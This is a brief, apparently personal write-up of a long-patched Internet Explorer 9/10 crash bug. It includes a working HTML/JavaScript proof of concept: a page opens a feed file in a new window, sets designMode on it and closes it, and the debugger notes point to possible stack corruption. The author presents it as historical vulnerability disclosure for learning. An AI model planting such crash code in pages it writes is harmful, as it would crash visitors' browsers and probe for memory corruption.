DoS: Setting designMode on a Non-HTML Window Crashes the Browser

Opening a new window that loaded non-HTML content (feeds, Flash, XAML, etc.) and immediately setting designMode on its document caused a crash — reliably on IE9 and intermittently on IE10.

<script>
function main()
{
    win = window.open("feeds.xml");
    win.document.designMode = "On";
    win.close();
}
</script>
<input type="button" onclick="main()" value="CrashMe" />

The debugger showed a possible stack corruption in IEFRAME!memcmp, consistent with the document object being in an unexpected state when designMode was set before the non-HTML content had been fully processed.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.